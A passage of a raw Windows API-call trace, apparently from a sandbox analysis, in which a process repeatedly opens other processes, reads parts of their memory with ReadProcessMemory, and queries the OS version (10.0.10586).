ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.332] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14042d3020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.332] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c10d0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.332] malloc (_Size=0x16) returned 0x20abc2819e0 [0261.332] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c1720, lpBuffer=0x20abc2819e0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2819e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.332] free (_Block=0x20abc2819e0) [0261.333] CloseHandle (hObject=0x16c) returned 1 [0261.334] _ui64tow_s (in: _Value=0x364, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="868") returned 0x0 [0261.337] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="868") returned 3 [0261.338] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.338] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.361] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x364) returned 0x16c [0261.361] GetLastError () returned 0x0 [0261.362] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.362] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14a30a018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.362] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.363] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea6033e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.363] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea603048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.364] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.365] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.365] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14a30a020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.365] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea602a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.365] malloc (_Size=0x58) returned 0x20abc2aacf0 [0261.366] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea603088, lpBuffer=0x20abc2aacf0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aacf0*, lpNumberOfBytesRead=0x0) returned 1 [0261.367] free (_Block=0x20abc2aacf0) [0261.367] CloseHandle (hObject=0x16c) returned 1 [0261.368] _ui64tow_s (in: _Value=0x37c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="892") returned 0x0 [0261.372] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="892") returned 3 [0261.372] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.373] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.386] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x16c [0261.386] GetLastError () returned 0x0 [0261.387] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.387] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc818199018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f03470, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.389] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.390] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.390] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc818199020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.390] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f02ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.391] malloc (_Size=0x74) returned 0x20abc282120 [0261.391] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f03108, lpBuffer=0x20abc282120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0261.391] free (_Block=0x20abc282120) [0261.405] CloseHandle (hObject=0x16c) returned 1 [0261.406] _ui64tow_s (in: _Value=0x390, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="912") returned 0x0 [0261.412] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="912") returned 3 [0261.414] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.414] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.437] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x390) returned 0x16c [0261.437] GetLastError () returned 0x0 [0261.443] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.443] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc222932018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.443] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.444] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f03480, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.444] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.446] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.448] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.448] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc222932020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.448] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f02ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.448] malloc (_Size=0x84) returned 0x20abc2ac0c0 [0261.448] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f03108, lpBuffer=0x20abc2ac0c0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ac0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.450] free (_Block=0x20abc2ac0c0) [0261.450] CloseHandle (hObject=0x16c) returned 1 [0261.451] _ui64tow_s (in: _Value=0x3a0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="928") returned 0x0 [0261.458] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="928") returned 3 [0261.460] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.460] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.483] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a0) returned 0x16c [0261.483] GetLastError () returned 0x0 [0261.484] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.484] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2832795018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.486] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.486] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8603480, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.487] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff86030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.489] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.491] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.491] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2832795020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.491] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8602ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.492] malloc (_Size=0x86) returned 0x20abc2ab460 [0261.492] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8603108, lpBuffer=0x20abc2ab460, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab460*, lpNumberOfBytesRead=0x0) returned 1 [0261.492] free (_Block=0x20abc2ab460) [0261.493] CloseHandle (hObject=0x16c) returned 1 [0261.494] _ui64tow_s (in: _Value=0x3f0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1008") returned 0x0 [0261.500] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1008") returned 4 [0261.501] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.501] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.515] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f0) returned 0x16c [0261.515] GetLastError () returned 0x0 [0261.516] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.516] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x44e609d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.516] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.516] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5103460, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.517] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa51030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.518] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.519] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.519] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x44e609d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.519] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5102ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.519] malloc (_Size=0x62) returned 0x20abc2801b0 [0261.519] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5103108, lpBuffer=0x20abc2801b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.520] free (_Block=0x20abc2801b0) [0261.521] CloseHandle (hObject=0x16c) returned 1 [0261.521] _ui64tow_s (in: _Value=0x210, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0261.525] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="528") returned 3 [0261.526] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.526] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.548] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x16c [0261.548] GetLastError () returned 0x0 [0261.549] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.549] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb735b0c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.549] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.549] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303400, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.549] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.550] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.552] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb735b0c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd302a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.552] malloc (_Size=0x82) returned 0x20abc2ab580 [0261.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303088, lpBuffer=0x20abc2ab580, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab580*, lpNumberOfBytesRead=0x0) returned 1 [0261.553] free (_Block=0x20abc2ab580) [0261.553] CloseHandle (hObject=0x16c) returned 1 [0261.554] _ui64tow_s (in: _Value=0x45c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1116") returned 0x0 [0261.557] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1116") returned 4 [0261.558] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.558] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.572] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x16c [0261.572] GetLastError () returned 0x0 [0261.573] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.573] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xd23f744018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.573] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.573] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07003460, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.573] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed070030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.574] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.576] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.576] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xd23f744020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.576] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07002ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.576] malloc (_Size=0x66) returned 0x20abc280450 [0261.576] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07003108, lpBuffer=0x20abc280450, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280450*, lpNumberOfBytesRead=0x0) returned 1 [0261.577] free (_Block=0x20abc280450) [0261.577] CloseHandle (hObject=0x16c) returned 1 [0261.578] _ui64tow_s (in: _Value=0x508, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1288") returned 0x0 [0261.585] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1288") returned 4 [0261.586] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.586] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.599] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x16c [0261.599] GetLastError () returned 0x0 [0261.600] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.600] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f6018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: 